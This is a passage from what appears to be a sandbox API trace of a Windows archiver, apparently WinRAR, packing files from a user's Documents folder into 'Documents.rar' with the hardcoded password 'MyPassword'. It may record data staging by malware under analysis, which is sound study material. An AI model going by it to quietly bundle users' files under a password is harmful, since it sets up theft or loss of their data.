returned 0x80000000 [0084.452] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.452] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.452] FindFirstFileW (in: lpFileName="_jIR7aHVEY1Y7.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d760 [0084.452] FindClose (in: hFindFile=0x1163204d760 | out: hFindFile=0x1163204d760) returned 1 [0084.453] CreateFileW (lpFileName="_jIR7aHVEY1Y7.docx" (normalized: "c:\\users\\fd1hvy\\documents\\_jir7ahvey1y7.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.453] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.453] GetTickCount () returned 0x2ae86 [0084.453] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.453] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.453] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.453] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.453] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="XvD0nTrkTg7W8h.xlsx") returned 19 [0084.453] SetWindowTextW (hWnd=0x10300, lpString="_jIR7aHVEY1Y7.docx") returned 1 [0084.454] GetTickCount () returned 0x2ae86 [0084.454] UpdateWindow (hWnd=0x102f8) returned 1 [0084.454] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.454] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.454] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.454] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.454] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x3b0)) [0084.454] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.454] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17578273100) returned 1 [0084.454] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x2ff7, lpOverlapped=0x0) returned 1 [0084.455] ReadFile (in: hFile=0x350, lpBuffer=0x11631b91037, nNumberOfBytesToRead=0xfd009, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b91037*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c1e0 [0084.455] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c1e0, Size=0x48) returned 0x1162e888ea0 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dc70 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2d0 [0084.455] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c2d0, Size=0x48) returned 0x1162e888ef0 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dc70 | out: hHeap=0x1162e7c0000) returned 1 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c720 [0084.455] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c840 | out: hHeap=0x1162e7c0000) returned 1 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c720 | out: hHeap=0x1162e7c0000) returned 1 [0084.455] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c2a0, Size=0x48) returned 0x1162e888ea0 [0084.455] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205d340 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0084.455] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d340 | out: hHeap=0x1162e7c0000) returned 1 [0084.457] GetTickCount () returned 0x2ae86 [0084.457] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17578545243) returned 1 [0084.457] GetTickCount () returned 0x2ae86 [0084.457] GetTickCount () returned 0x2ae86 [0084.457] GetTickCount () returned 0x2ae86 [0084.457] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.457] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.457] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.457] ResetEvent (hEvent=0x344) returned 1 [0084.457] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.458] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.458] ResetEvent (hEvent=0x344) returned 1 [0084.458] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.459] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.459] GetTickCount () returned 0x2ae86 [0084.459] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17578758359) returned 1 [0084.459] GetTickCount () returned 0x2ae86 [0084.459] GetTickCount () returned 0x2ae86 [0084.459] GetTickCount () returned 0x2ae86 [0084.459] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.459] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.459] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.459] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.459] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x285872 [0084.459] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x2858d8 [0084.459] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.459] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.460] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.460] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.460] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x3020, lpOverlapped=0x0) returned 1 [0084.460] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.460] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.460] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2644082, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x285872 [0084.460] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x285872 [0084.460] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.460] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c210 [0084.460] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c210, Size=0x48) returned 0x1162e888f40 [0084.460] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0084.460] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5d0 [0084.460] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c5d0, Size=0x48) returned 0x1162e888f90 [0084.460] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0084.460] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f40 | out: hHeap=0x1162e7c0000) returned 1 [0084.460] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c270 [0084.461] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c480 [0084.461] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c480 | out: hHeap=0x1162e7c0000) returned 1 [0084.461] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c270 | out: hHeap=0x1162e7c0000) returned 1 [0084.461] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c840, Size=0x48) returned 0x1162e8893a0 [0084.461] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205d100 [0084.461] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d103*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d103*, lpNumberOfBytesWritten=0x141a0d82c0*=0x66, lpOverlapped=0x0) returned 1 [0084.461] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c930 [0084.461] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x66) returned 0x11632050fe0 [0084.461] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f90 | out: hHeap=0x1162e7c0000) returned 1 [0084.461] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d100 | out: hHeap=0x1162e7c0000) returned 1 [0084.461] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x2888f8 [0084.461] CloseHandle (hObject=0x350) returned 1 [0084.461] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.461] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.461] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.461] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.461] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.461] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.461] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.462] GetTickCount () returned 0x2ae86 [0084.462] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.462] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.462] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.462] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.462] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="_jIR7aHVEY1Y7.docx") returned 18 [0084.462] SetWindowTextW (hWnd=0x10300, lpString="lIHAtSXy") returned 1 [0084.462] GetTickCount () returned 0x2ae86 [0084.462] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.462] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c870 [0084.462] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0084.463] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.463] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c570 [0084.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7e0 | out: hHeap=0x1162e7c0000) returned 1 [0084.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.463] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c870, Size=0x55) returned 0x1163204d820 [0084.463] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d820, Size=0x8a) returned 0x1163209b3c0 [0084.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c570 | out: hHeap=0x1162e7c0000) returned 1 [0084.463] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209b3c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.463] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.463] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.463] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x2888f8 [0084.463] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x288955 [0084.463] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.463] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.463] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.463] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.463] CryptProtectMemory (in: pDataIn=0x1162e88d04e, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1162e88d04e) returned 1 [0084.463] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656504, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x2888f8 [0084.463] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x2888f8 [0084.463] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb70 [0084.463] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c540 [0084.464] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6f0 [0084.465] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c840 [0084.465] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6f0 | out: hHeap=0x1162e7c0000) returned 1 [0084.465] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c540 | out: hHeap=0x1162e7c0000) returned 1 [0084.465] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cb70, Size=0x55) returned 0x1163204d460 [0084.465] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x8a) returned 0x1163209ba00 [0084.465] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209ba03*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163209ba03*, lpNumberOfBytesWritten=0x141a0d8510*=0x5d, lpOverlapped=0x0) returned 1 [0084.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c840 | out: hHeap=0x1162e7c0000) returned 1 [0084.466] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ba00 | out: hHeap=0x1162e7c0000) returned 1 [0084.466] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288955 [0084.466] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.466] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.466] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.466] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.466] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.466] GetTickCount () returned 0x2ae95 [0084.466] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.466] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.466] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.466] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.466] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="lIHAtSXy") returned 8 [0084.467] SetWindowTextW (hWnd=0x10300, lpString="K qThybav") returned 1 [0084.467] GetTickCount () returned 0x2ae95 [0084.467] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.467] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.467] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5d0 [0084.467] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c6c0 [0084.467] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7b0 [0084.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c6c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.467] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c600, Size=0x5e) returned 0x116320504f0 [0084.467] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320504f0, Size=0x95) returned 0x1163209a380 [0084.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c7b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.467] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209a380 | out: hHeap=0x1162e7c0000) returned 1 [0084.467] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.467] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.467] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd830*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd830*=0) returned 0x288955 [0084.467] SetFilePointer (in: hFile=0x32c, lDistanceToMove=102, lpDistanceToMoveHigh=0x141a0dd800*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd800*=0) returned 0x2889bb [0084.467] CryptUnprotectMemory (in: pDataIn=0x141a0dd6b0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd6b0) returned 1 [0084.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd630, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.468] CryptUnprotectMemory (in: pDataIn=0x141a0dd090, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd090) returned 1 [0084.468] CryptUnprotectMemory (in: pDataIn=0x141a0dd190, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd190) returned 1 [0084.468] CryptUnprotectMemory (in: pDataIn=0x141a0dd310, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd310) returned 1 [0084.468] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2656597, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x288955 [0084.468] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9ed0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9ed0*=0) returned 0x288955 [0084.468] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c9f0 [0084.468] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc90 [0084.468] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c870 [0084.468] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209ca80 [0084.468] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c870 | out: hHeap=0x1162e7c0000) returned 1 [0084.468] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc90 | out: hHeap=0x1162e7c0000) returned 1 [0084.468] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c9f0, Size=0x5e) returned 0x11632050870 [0084.468] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632050870, Size=0x95) returned 0x1163209bfa0 [0084.468] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209bfa3*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x141a0d8510, lpOverlapped=0x0 | out: lpBuffer=0x1163209bfa3*, lpNumberOfBytesWritten=0x141a0d8510*=0x66, lpOverlapped=0x0) returned 1 [0084.468] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209ca80 | out: hHeap=0x1162e7c0000) returned 1 [0084.468] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209bfa0 | out: hHeap=0x1162e7c0000) returned 1 [0084.468] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd7f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd7f0*=0) returned 0x2889bb [0084.468] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.468] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.468] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d7c0 [0084.469] FindClose (in: hFindFile=0x1163204d7c0 | out: hFindFile=0x1163204d7c0) returned 1 [0084.469] LoadStringW (in: 